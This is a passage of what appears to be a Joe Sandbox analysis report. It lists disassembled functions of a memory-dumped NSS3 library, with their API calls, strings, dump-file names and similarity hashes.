PR_SetError.NSS3(FFFFE890,00000000), ref: 6C6526F4
PR_Sleep.NSS3(?), ref: 6C652710

Part of subcall function 6C65C2A0: PR_IntervalNow.NSS3 ref: 6C65C2BE
Part of subcall function 6C65C2A0: PR_NewCondVar.NSS3 ref: 6C65C2CC
Part of subcall function 6C65C2A0: EnterCriticalSection.KERNEL32(?), ref: 6C65C2E8
Part of subcall function 6C65C2A0: PR_IntervalNow.NSS3 ref: 6C65C2F7
Part of subcall function 6C65C2A0: _PR_MD_UNLOCK.NSS3(?), ref: 6C65C378
Part of subcall function 6C65C2A0: DeleteCriticalSection.KERNEL32(?), ref: 6C65C390
Part of subcall function 6C65C2A0: free.MOZGLUE(?), ref: 6C65C397

Part of subcall function 6C6528A0: realloc.MOZGLUE(?,000000A8), ref: 6C6528EB
Part of subcall function 6C6528A0: memset.VCRUNTIME140(-FFFFFAC0,00000000,000000A0), ref: 6C65290A

PR_SetError.NSS3(FFFFE891,00000000), ref: 6C65287D
free.MOZGLUE(?), ref: 6C65288B

Strings

PR_Poll(), xrefs: 6C652695
PR_Select(), xrefs: 6C65269A

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CriticalErrorIntervalSectionfree$CondDeleteEnterSleepcallocmemsetreallocsqlite3_release_memory
String ID: PR_Poll()$PR_Select()
API String ID: 3069664790-3034026096
Opcode ID: b3612b99e042f4be4d94b89d439c4836a52b7c914a190d06b23f201fc12e8373
Instruction ID: ac11b0ae039300c45f6df9daf65a254802f30fd2bd7d34861fcbf583b1395213
Opcode Fuzzy Hash: b3612b99e042f4be4d94b89d439c4836a52b7c914a190d06b23f201fc12e8373
Instruction Fuzzy Hash: 1361F475E012168FDB00CF99C8487AAB7B1FF48308F648128DD29DB791E731E964CB99

Function 6C5A4DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6C5A536F,00000022,?,?,00000000,?), ref: 6C5A4E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6C5A4F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6C5A4F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6C5A4FAE
free.MOZGLUE(?), ref: 6C5A4FC8

Strings

oSZl", xrefs: 6C5A4DFB, 6C5A4EF4, 6C5A4EC5
%s=%c%s%c, xrefs: 6C5A4FA9
%s=%s, xrefs: 6C5A4F89

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oSZl"
API String ID: 2709355791-1092450866
Opcode ID: d6515bb7f875547de885724de6db79fc9e66a6c26d3c2d8a86a0974112a245db
Instruction ID: 20fe6ba61b6ae83a6ea9155ace1447a0a94bf343ff99f759a69cb751c25d271d
Opcode Fuzzy Hash: d6515bb7f875547de885724de6db79fc9e66a6c26d3c2d8a86a0974112a245db
Instruction Fuzzy Hash: 81514C31A051469BEF01CAEBCC907FF7BF59F46308F18A125E894A7B41DB35980787A2

Function 6C5CEF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6C5EA4A1,?,00000000,?,00000001), ref: 6C5CEF6D

Part of subcall function 6C5EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C5EC2BF

htonl.WSOCK32(00000000,?,6C5EA4A1,?,00000000,?,00000001), ref: 6C5CEFE4
htonl.WSOCK32(?,00000000,?,6C5EA4A1,?,00000000,?,00000001), ref: 6C5CEFF1
memcpy.VCRUNTIME140(?,?,6C5EA4A1,?,00000000,?,6C5EA4A1,?,00000000,?,00000001), ref: 6C5CF00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6C5EA4A1,?,00000000,?,00000001), ref: 6C5CF027

Strings

dtls13, xrefs: 6C5CEF33

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 9553615897a4281890b4ee3997a0f0b236510e0b16216a1c11c924d9beaa3fa6
Instruction ID: a79e3bc9bd920952a04beef78d16c47ab6b650ee2a7ebd1d53aa16d526e3162d
Opcode Fuzzy Hash: 9553615897a4281890b4ee3997a0f0b236510e0b16216a1c11c924d9beaa3fa6
Instruction Fuzzy Hash: 38311671A00211AFCB10CF68CC81B8AB7E4EF49358F25802DE8199B751E731E915CBE6

Function 6C54AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C54AFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C669500,6C543F91), ref: 6C54AFD2

Part of subcall function 6C59B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6718D0,?), ref: 6C59B095

DER_GetInteger_Util.NSS3(?), ref: 6C54B007

Part of subcall function 6C596A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6C541666,?,6C54B00C,?), ref: 6C596AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C54B02F
PR_CallOnce.NSS3(6C6A2AA4,6C5A12D0), ref: 6C54B046
PL_FreeArenaPool.NSS3 ref: 6C54B058
PL_FinishArenaPool.NSS3 ref: 6C54B060

Strings

security, xrefs: 6C54AFB8

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: 6493d51a32c86bbacde88b87ae5b14ea54682691570c338999a52da9613586d6
Instruction ID: c9e8b57feb790126077c2f311c0e219866d3844916dfa0d89a455f0d529daf2d
Opcode Fuzzy Hash: 6493d51a32c86bbacde88b87ae5b14ea54682691570c338999a52da9613586d6
Instruction Fuzzy Hash: 1E310870404300DBDB10DF159C44BAE77A4AF8636EF108B19E9785BBD1E7329909CB9B

Function 6C58CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C58CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C58CE16
PR_SetError.NSS3(00000000,00000000), ref: 6C58D079

Part of subcall function 6C5EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C5EC2BF

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 0983a0f836189649b9de1698fe4bf8afe75eebc92a3001ba7a65c4f99b4676dc
Instruction ID: 754357942093cccf39ad3cbc96be92d2daec06483b0f7b07d0840ca7d8e8fd6d
Opcode Fuzzy Hash: 0983a0f836189649b9de1698fe4bf8afe75eebc92a3001ba7a65c4f99b4676dc
Instruction Fuzzy Hash: BAC17EB1A01229DBDB10DF25CC80BDAB7F4BB48318F1442A9E948A7741E775EE95CF90

Function 6C58C710 Relevance: 13.8, APIs: 9, Instructions: 271COMMON

Download Yara Rule

APIs

Part of subcall function 6C58C590: PK11_DoesMechanism.NSS3(?,?,?,?), ref: 6C58C5C7
Part of subcall function 6C58C590: PK11_DoesMechanism.NSS3(?,?,?,?), ref: 6C58C603

TlsGetValue.KERNEL32 ref: 6C58C825
EnterCriticalSection.KERNEL32(?), ref: 6C58C839
PR_Unlock.NSS3(?), ref: 6C58C88B
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C58C966

Part of subcall function 6C58CA30: TlsGetValue.KERNEL32 ref: 6C58CA95
Part of subcall function 6C58CA30: EnterCriticalSection.KERNEL32(00000000), ref: 6C58CAA9
Part of subcall function 6C58CA30: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,00000000,?,6C58C8CF,?,?,?), ref: 6C58CAE7
Part of subcall function 6C58CA30: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C58CB09

PK11_FreeSymKey.NSS3(?), ref: 6C58C949
PK11_FreeSymKey.NSS3(?), ref: 6C58C954
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C58C9A8
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C58C9B7
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C58C9F9

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: ErrorK11_$CriticalDoesEnterFreeMechanismSectionUnlockValue$Item_UtilZfree
String ID:
API String ID: 1505861056-0
Opcode ID: ebc076d72a2d87dfabfc401a824e5196f22deddac9395bfb9951fe81237a9c0c
Instruction ID: 7e9855a1d09bf0f7c655e6ea105933fcb4d14b2efd89e8ccdf8f122bbe3ccbca
Opcode Fuzzy Hash: ebc076d72a2d87dfabfc401a824e5196f22deddac9395bfb9951fe81237a9c0c
Instruction Fuzzy Hash: 28A14D71E01219AFDB00DFA9DC80AAABBB5BF48348F144568E809AB741E771FD55CB90

Function 6C5365D0 Relevance: 13.8, APIs: 4, Strings: 5, Instructions: 261COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C53670B
LeaveCriticalSection.KERNEL32(?,?,?,00000000,?,6C532B2C), ref: 6C53675E
EnterCriticalSection.KERNEL32(?), ref: 6C53678E
LeaveCriticalSection.KERNEL32(?,?,?,00000000,?,6C532B2C), ref: 6C5367E1

Strings

winClose, xrefs: 6C5368C5
Pel, xrefs: 6C5368AA, 6C536944, 6C53696B
winUnmapfile2, xrefs: 6C53698B
@el, xrefs: 6C53662B, 6C536809
winUnmapfile1, xrefs: 6C536964

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: @el$Pel$winClose$winUnmapfile1$winUnmapfile2
API String ID: 3168844106-2921840085
Opcode ID: 109b84756b590e5656f712eda40d0e3f17f9ddac6017621d4b1a3c28a5bea29d
Instruction ID: 24ec1cdc4b7e29157739a44568f728cc2ec576fd4bf5c1d92909a12a222e675a
Opcode Fuzzy Hash: 109b84756b590e5656f712eda40d0e3f17f9ddac6017621d4b1a3c28a5bea29d
Instruction Fuzzy Hash: 75A17336701221DBDF089FA6ECD866D3774BF46715F14202DE90ADB640EF34A841CB99

Function 6C5D4770 Relevance: 13.7, APIs: 9, Instructions: 241memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5D0610: PR_CallOnce.NSS3(6C6A2F88,6C5D0660,?,?,6C5D477E,00000000), ref: 6C5D062F

PR_CallOnce.NSS3(6C6A2D6C,6C5CF8C0), ref: 6C5D478B

Part of subcall function 6C4C4C70: TlsGetValue.KERNEL32(?,?,?,6C4C3921,6C6A14E4,6C60CC70), ref: 6C4C4C97
Part of subcall function 6C4C4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C4C3921,6C6A14E4,6C60CC70), ref: 6C4C4CB0
Part of subcall function 6C4C4C70: PR_Unlock.NSS3(?,?,?,?,?,6C4C3921,6C6A14E4,6C60CC70), ref: 6C4C4CC9

_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5D47A1
PORT_Alloc_Util.NSS3(-000EECC7), ref: 6C5D49B8

Part of subcall function 6C5A0BE0: malloc.MOZGLUE(6C598D2D,?,00000000,?), ref: 6C5A0BF8
Part of subcall function 6C5A0BE0: TlsGetValue.KERNEL32(6C598D2D,?,00000000,?), ref: 6C5A0C15

memset.VCRUNTIME140(00000000,00000000), ref: 6C5D49D4
memcpy.VCRUNTIME140(00000000,6C6A2F9C,00000090), ref: 6C5D49E7
PR_Now.NSS3 ref: 6C5D4A4F

Part of subcall function 6C609DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C650A27), ref: 6C609DC6
Part of subcall function 6C609DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C650A27), ref: 6C609DD1
Part of subcall function 6C609DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C609DED

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C5D4A5C

Part of subcall function 6C5D0320: CreateMutexA.KERNEL32(?,00000000,00000000,00000000), ref: 6C5D0367

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5D4ABC
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C5D4AD8

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Time$CallErrorOnceSystemUnothrow_t@std@@@Value__ehfuncinfo$??2@$Alloc_CreateCriticalEnterFileMutexSectionUnlockUtil_getpidmallocmemcpymemset
String ID:
API String ID: 1663962601-0
Opcode ID: 3b51468f8ac377476c4a2dfcbf6a730875145c355386182581b8287081f11d61
Instruction ID: f5dc667c19f0ce63db06431f8e568faa5759127d5a546bab6f03c6befec3deb2
Opcode Fuzzy Hash: 3b51468f8ac377476c4a2dfcbf6a730875145c355386182581b8287081f11d61
Instruction Fuzzy Hash: E5917071B807108FDB14CFABECC579E77F1AB8A318F15823AD81897695E734A4058B98

Function 6C5606A0 Relevance: 13.7, APIs: 9, Instructions: 225stringCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C5606C2
EnterCriticalSection.KERNEL32(?), ref: 6C5606D6
PR_Unlock.NSS3 ref: 6C5606EB

Part of subcall function 6C5EDD70: TlsGetValue.KERNEL32 ref: 6C5EDD8C
Part of subcall function 6C5EDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C5EDDB4

free.MOZGLUE(?), ref: 6C5607DE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5607FA

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CriticalSectionValue$EnterLeaveUnlockfreestrlen
String ID:
API String ID: 3527478211-0
Opcode ID: 777977fcc5c312ba565226f729eb25e4cebfcc98622246e570eb2a407f27557f
Instruction ID: bb1a0b707e8db16f2ad664663f2eead2af15ecdff62bb056142d3fbe523a39f8
Opcode Fuzzy Hash: 777977fcc5c312ba565226f729eb25e4cebfcc98622246e570eb2a407f27557f
Instruction Fuzzy Hash: 7581E5B1900304DFEB009F65DC81AAB7BB4FF89348F44456AED095BB22E731E954CB95

Function 6C5B4620 Relevance: 13.7, APIs: 9, Instructions: 221threadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE02F,00000000,?,?,?,00000000), ref: 6C5B4963

Part of subcall function 6C553090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C56AE42), ref: 6C5530AA
Part of subcall function 6C553090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5530C7
Part of subcall function 6C553090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C5530E5
Part of subcall function 6C553090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C553116
Part of subcall function 6C553090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C55312B
Part of subcall function 6C553090: PK11_DestroyObject.NSS3(?,?), ref: 6C553154
Part of subcall function 6C553090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C55317E

SECOID_FindOID_Util.NSS3(?), ref: 6C5B465E

Part of subcall function 6C5A07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C548298,?,?,?,6C53FCE5,?), ref: 6C5A07BF
Part of subcall function 6C5A07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C5A07E6
Part of subcall function 6C5A07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C5A081B
Part of subcall function 6C5A07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C5A0825

SECOID_FindOIDByTag_Util.NSS3(000000BF,00000000), ref: 6C5B4709
SECOID_GetAlgorithmTag_Util.NSS3(?,00000000), ref: 6C5B4727
SECOID_GetAlgorithmTag_Util.NSS3(?,?,00000000), ref: 6C5B473B
PORT_NewArena_Util.NSS3(00000400,?,?,?,?,?,?,?,00000000), ref: 6C5B4801
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6C672DA0,?,?,?,?,?,?,?,?,00000000), ref: 6C5B482E
PR_GetCurrentThread.NSS3 ref: 6C5B48F3
PR_SetError.NSS3(FFFFE02F,00000000), ref: 6C5B4923
PR_SetError.NSS3(FFFFE02F,00000000), ref: 6C5B4937
SECKEY_DestroyPublicKey.NSS3(?,?,?,00000000), ref: 6C5B494E
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C5B4984
VFY_VerifyDataWithAlgorithmID.NSS3(?,?,?,6C5B21C2,?,?,?), ref: 6C5B499C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C5B49B5
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,00000000), ref: 6C5B49C5
PR_SetError.NSS3(FFFFE00A,00000000), ref: 6C5B49DC
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C5B49E9

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$Arena_Error$AlgorithmFreeTag_$Destroy$FindHashItem_LookupPublicTable$Alloc_ArenaConstCopyCurrentDataEncodeK11_ObjectThreadVerifyWithmemset
String ID:
API String ID: 1962444627-0
Opcode ID: 2e85440394ead2fad9f2e9a231ccb7cabe706c783527b35c54b26165954ddb73
Instruction ID: 1b2f221f6ed4edac5cedf343a40074bcba8c42ffd932962df9515cd12c75ee88
Opcode Fuzzy Hash: 2e85440394ead2fad9f2e9a231ccb7cabe706c783527b35c54b26165954ddb73
Instruction Fuzzy Hash: EC71E1B5E012059BFB208E65DCA0BAE7B64EF4531CF244029E915BBB41E731DC45CAA1

Function 6C542C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(99F052DF), ref: 6C542C5D

Part of subcall function 6C5A0D30: calloc.MOZGLUE ref: 6C5A0D50
Part of subcall function 6C5A0D30: TlsGetValue.KERNEL32 ref: 6C5A0D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6C542C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C542CE0

Part of subcall function 6C542E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C542CDA,?,00000000), ref: 6C542E1E
Part of subcall function 6C542E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C542E33
Part of subcall function 6C542E00: TlsGetValue.KERNEL32 ref: 6C542E4E
Part of subcall function 6C542E00: EnterCriticalSection.KERNEL32(?), ref: 6C542E5E
Part of subcall function 6C542E00: PL_HashTableLookup.NSS3(?), ref: 6C542E71
Part of subcall function 6C542E00: PL_HashTableRemove.NSS3(?), ref: 6C542E84
Part of subcall function 6C542E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C542E96
Part of subcall function 6C542E00: PR_Unlock.NSS3 ref: 6C542EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C542D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6C542D30
CERT_MakeCANickname.NSS3(00000001), ref: 6C542D3F
free.MOZGLUE(00000000), ref: 6C542D73
CERT_DestroyCertificate.NSS3(?), ref: 6C542DB8
free.MOZGLUE ref: 6C542DC8

Part of subcall function 6C543E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C543EC2
Part of subcall function 6C543E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C543ED6
Part of subcall function 6C543E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C543EEE
Part of subcall function 6C543E60: PR_CallOnce.NSS3(6C6A2AA4,6C5A12D0), ref: 6C543F02
Part of subcall function 6C543E60: PL_FreeArenaPool.NSS3 ref: 6C543F14
Part of subcall function 6C543E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C543F27

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

